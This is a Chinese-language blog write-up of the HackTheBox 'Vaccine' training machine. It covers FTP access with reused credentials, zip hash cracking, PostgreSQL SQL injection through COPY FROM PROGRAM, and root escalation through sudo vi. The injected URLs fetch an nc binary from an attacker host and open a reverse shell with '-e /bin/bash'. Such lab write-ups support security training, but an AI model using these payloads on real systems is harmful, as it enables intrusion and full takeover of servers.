Hackthebox-Vaccine

admin 2023年12月14日13:23:44评论13 views字数 2950阅读9分50秒阅读模式

0x01前言

hackthebox练习

0x02 过程

首先直接nmap :

发现只有三个端口,根据上一台Oopsie靶机最后给的信息

ftpuser / mc@F1l3ZilL4

直接登陆ftp,里面有个备份文件的压缩包:

但是解压需要密码,可以使用zip2john工具,是john包含的一款把zip转换成john能破解的工具:https://github.com/openwall/john

zip2john ~/backup.zip > hash

使用john破解:

John hash

查看解压的index.php文件:

从代码逻辑看得出来只要username等于admin且密码等于密码md5加密过后的值,解密2cb42f8734ea607eefed3b70af13bbd3

使用该密码登陆80端口的web应用:

存在sql注入:

使用sqlmap跑,但是不能执行–os-shell,官方的可以,可能是网络的问题,进行sql 查询的时候就特别卡

网上介绍https://www.aldeid.com/wiki/HackTheBox-StartingPoint-Vaccine

可以用python脚本vaccine.py

https://github.com/florianges/-HTB-Vaccine_sql_injection

发现执行不成功,可能还是网络问题,还是乖乖放浏览器执行吧

http://10.10.10.46/dashboard.php?search=a';DROP TABLE IF EXISTS cmd_31554; -- -
http://10.10.10.46/dashboard.php?search=a';CREATE TABLE cmd_31554(cmd_output text); -- -
http://10.10.10.46/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM 'wget -P /tmp/31554 http://10.10.14.33:80/nc'; -- -
http://10.10.10.46/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM 'chmod 777 /tmp/31554/nc'; -- -
http://10.10.10.46/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM '/tmp/31554/nc 10.10.14.33 4444 -e /bin/bash'; -- -

反弹成功:

读取postgres用户的密码:

/var/www/html$ cat dashboard.php

看下postgres用户可以执行什么程序:

编辑pg_hba.conf文件,有一些乱码输入:!/bin/bash即可解决

0x03 总结

1、拿到ip直接nmap

2、看到有需要验证登陆的地方,可以拿其他靶机收集到的账号密码尝试登陆

3、破解zip:

zip2john xxx.zip > xxx.hash

john xxx.hash

4、postgres注入执行命令:

  • http://x.x.x.x/dashboard.php?search=a';DROP TABLE IF EXISTS cmd_31554; -- - 如果存在表则删除

  • http://x.x.x.x/dashboard.php?search=a';CREATE TABLE cmd_31554(cmd_output text); -- - 创建数据库表cmd_31554为表名,cmd_output为字段名,text为字段数据类型

  • http://x.x.x.x/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM 'wget -P /tmp/31554 http://x.x.x.x:80/nc'; -- -使用了COPY的语法,官方给的用法解释:

COPY moves data between PostgreSQL tables and standard file-system files. COPY TO copies the contents of a table to a file, while COPY FROM copies data from a file to a table (appending the data to whatever is in the table already). COPY TO can also copy the results of a SELECT query.

就是从程序中复制数据到这个字段表里,在这里只是为了执行后面的命令。

  • http://x.x.x.x/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM 'chmod 777 /tmp/31554/nc'; -- -执行添加执行权限
  • http://x.x.x.x/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM '/tmp/31554/nc 10.10.14.x 4444 -e /bin/bash'; -- -
  • http://x.x.x.x/dashboard.php?search=a';COPY cmd_31554 FROM PROGRAM '/tmp/31554/nc 10.10.14.x 4444 -e /bin/bash'; -- -执行nc反弹shell命令

5、python建立http服务器

  • Python2 python -m SimpleHTTPServer
  • Python3 python3 -m http.server 80

6、反弹交互式shell

SHELL=/bin/bash script -q /dev/null # 设置shell为/bin/bash,script 命令可以用作交互终端会话过程的记录,保留用户输入和系统输出的全过程。-q 是静默执行 把会话内容丢到黑洞/dev/null
Ctrl-Z 后台运行
stty raw -echo 设置原始输入禁止回显,当您在键盘上输入时,并不出现在屏幕上
fg 返回前台shell
reset 跟clear清屏差不多
xterm 运行标准虚拟终端

7、最后一个步骤为什么可以输入:!/bin/bash直接就跳到root,主要出现在sudo,我们可以看下靶机的/etc/sudoers文件内容:

只要把用户加到sudoers文件里面就可以拥有root的权限,就好比如我们装ubuntu系统时候初始化是一个user权限,如果想要拥有root权限,必须在sudoers文件里面加入

user ALL=(ALL) ALL

靶机里面只有用/bin/vi 编辑pg_hba.conf文件的权限,我们可以sudo 输入当前用户密码去编辑文件并在编辑状态下输入:!/bin/bash就能跳转到bash的shell或者输入:!/bin/zsh跳转到zsh的shell


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月14日13:23:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Hackthebox-Vaccinehttps://cn-sec.com/archives/2298612.html

发表评论

匿名网友 填写信息